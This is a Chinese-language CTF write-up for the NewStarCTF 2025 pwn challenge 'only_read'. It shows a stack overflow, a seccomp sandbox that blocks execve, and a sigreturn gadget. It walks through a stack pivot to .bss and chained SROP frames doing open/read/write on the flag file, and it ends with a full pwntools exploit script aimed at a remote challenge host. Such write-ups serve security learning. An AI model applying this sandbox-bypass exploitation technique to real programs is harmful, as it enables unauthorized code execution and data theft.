ORW+栈迁移SROP

[ NewStarCTF 2025 ]only_read

1775989177089-2a2e6e51-e333-4cdd-8487-3ec50d3a3434.png

一个开启了沙箱的 SROP：

1
2
3
4
5
6
ssize_t vuln()
{
  _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

  return read(0, buf, 0x100u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112);
  if ( !v1 )
  {
    perror("seccomp_init");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 0, 59, 0) < 0 )
  {
    perror("seccomp_rule_add");
    seccomp_release(v1);
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 0, 322, 0) < 0 )
  {
    perror("seccomp_rule_add");
    seccomp_release(v1);
    exit(1);
  }
  if ( (int)seccomp_load(v1) < 0 )
  {
    perror("seccomp_load");
    seccomp_release(v1);
    exit(1);
  }
  return seccomp_release(v1);
}
1
2
3
4
5
6
7
8
__int64 gift()
{
  __int64 n15; // rax

  n15 = 15;
  __asm { syscall; LINUX - sys_rt_sigreturn }
  return n15;
}

栈迁移：

1
2
payload = b'\x00'*0x10 + p64(bss - 0x30) + p64(0x401349)
p.send(payload)
1775990167690-58f6dcf6-b48f-486b-ae4e-34be496f3d60.png
  • 目的： 将程序的栈指针 rsp 劫持到我们可以控制的 .bss 段。
    • b’\x00’*0x10: 填充 16 字节填满当前局部变量空间。之后用 p64(bss - 0x30): 覆盖 saved rbp。
  • p64(0x401349): 覆盖返回地址 ret addr。0x401349 应该是原程序中调用 read 函数的汇编地址。
  • 函数返回执行 leave; ret 后，rbp 被修改为 bss - 0x30，并且程序再次执行 read。因为此时是在以 bss - 0x30 为基底运行，下一次 read 会直接把数据写到我们刚刚指定的 BSS 段中。

布置第一个 SROP (读取 ORW Payload)

1
2
3
4
5
6
7
8
9
10
11
payload = p64(bss - 0x10)*3 + p64(gift)
frame = SigreturnFrame()
frame.rax = constants.SYS_read  # 0
frame.rdi = 0                   # fd = 0 (stdin)
frame.rsi = bss - 0x8           # buf = bss - 0x8
frame.rdx = 0x400               # size = 0x400
frame.rsp = bss                 # ★ 关键：将后续栈指针指到 bss
frame.rbp = bss + 0x100
frame.rip = syscall_ret
payload += bytes(frame)
p.send(payload[:0x100])
  • 目的： 往新栈中注入一个 Sigreturn Frame，用来执行 read(0, bss - 0x8, 0x400)，以便读入第三阶段超长的 ORW ROP 链。
  • 执行流：
  1. 前面的 p64(bss - 0x10)*3 是为了填充对齐，使程序正常滑行到 p64(gift)。
  2. gift 被执行，触发 sys_rt_sigreturn，CPU 会将后面 bytes(frame) 的数据当做上下文直接恢复到各个寄存器
  3. 恢复后，程序执行 syscall（因为 rip 被改成了 syscall_ret），此时相当于调用了 sys_read。
  4. **核心控制：**read 结束后，栈指针 rsp 会变成 bss。这意味着 read 结束后执行的 ret，会从 bss 地址取指令。

通过连续 SROP 执行 ORW

利用上一步的 read，利用不断修改 rsp 的方式，串联了 3 次 SROP 调用，完成 Open -> Read -> Write 的操作

步骤 A：Open(“./flag”)
1
2
3
4
5
6
7
8
9
payload = p64(0x67616c662f2e) # "./flag" 字符串被写入 bss - 0x8
payload += p64(gift)          # 此时 rsp 刚好在 bss，执行 gift (sigreturn)
frame = SigreturnFrame()
frame.rax = constants.SYS_open
frame.rdi = bss - 0x8         # 指向 "./flag"
frame.rsi = 0                 # O_RDONLY
frame.rdx = 0
frame.rsp = bss + 0x100       # ★ 关键：将栈迁移到 bss + 0x100，准备下一个 SROP
# ...
  • 这一步打开了 flag 文件，正常情况下文件描述符（fd）会返回 3。
步骤 B：Read(3, bss - 0x100, 0x30)
1
2
3
4
5
6
7
8
payload += p64(gift)          # 位于 bss + 0x100，紧接上一个 SROP
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 3                 # 上一步 open 返回的 fd=3
frame.rsi = bss - 0x100       # 存放 flag 内容的地址
frame.rdx = 0x30              # 读取长度
frame.rsp = bss + 0x100 + 0x100 # ★ 关键：将栈再次迁移，准备最后一个 SROP
# ...
  • 这一步从 fd=3 的文件中读取 0x30 个字节的 flag 内容，存放到 bss - 0x100 的位置。
步骤 C：Write(1, bss - 0x100, 0x30)
1
2
3
4
5
6
7
8
payload += p64(gift)          # 位于 bss + 0x200
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = 1                 # stdout
frame.rsi = bss - 0x100       # 指向刚才存 flag 的地址
frame.rdx = 0x30              # 打印长度
frame.rip = syscall_ret
# ...
  • 最后一次 SROP，调用 sys_write，把刚才读到 bss - 0x100 的 flag 打印到屏幕上。

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

context(arch='amd64', log_level='debug')
# context.terminal = ['tmux', 'splitw', '-h']

# p = process('./srop')
p = remote('docker.qingcen.net',40718)
elf = ELF('./srop')

bss = elf.bss(0x200)
syscall_ret = 0x40136D
gift = 0x401366

payload = b'\x00'*0x10 + p64(bss - 0x30) + p64(0x401349)
p.send(payload)

sleep(1)

payload = p64(bss - 0x10)*3 + p64(gift)
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = bss - 0x8
frame.rdx = 0x400
frame.rsp = bss
frame.rbp = bss + 0x100
frame.rip = syscall_ret
payload += bytes(frame)
p.send(payload[:0x100])

payload = p64(0x67616c662f2e) # "./flag" <- bss - 0x8
payload += p64(gift) # <- bss


frame = SigreturnFrame()
frame.rax = constants.SYS_open
frame.rdi = bss - 0x8
frame.rsi = 0
frame.rdx = 0
frame.rsp = bss + 0x100 # 刚好到下面的gift地址
frame.rbp = bss + 0x100 + 0x100
frame.rip = syscall_ret
payload += bytes(frame)
payload += p64(gift)


frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 3
frame.rsi = bss - 0x100 # 文件内容 <- bss - 0x100
frame.rdx = 0x30
frame.rsp = bss + 0x100 + 0x100
frame.rbp = bss + 0x100 + 0x100 + 0x100
frame.rip = syscall_ret
payload += bytes(frame)
payload += p64(gift)


frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = 1
frame.rsi = bss - 0x100
frame.rdx = 0x30
frame.rip = syscall_ret
payload += bytes(frame)
p.send(payload)


p.interactive()

更新: 2026-04-12 20:10:38
原文: https://www.yuque.com/idcm/wnemg9/acxaw7fqoc9m14gf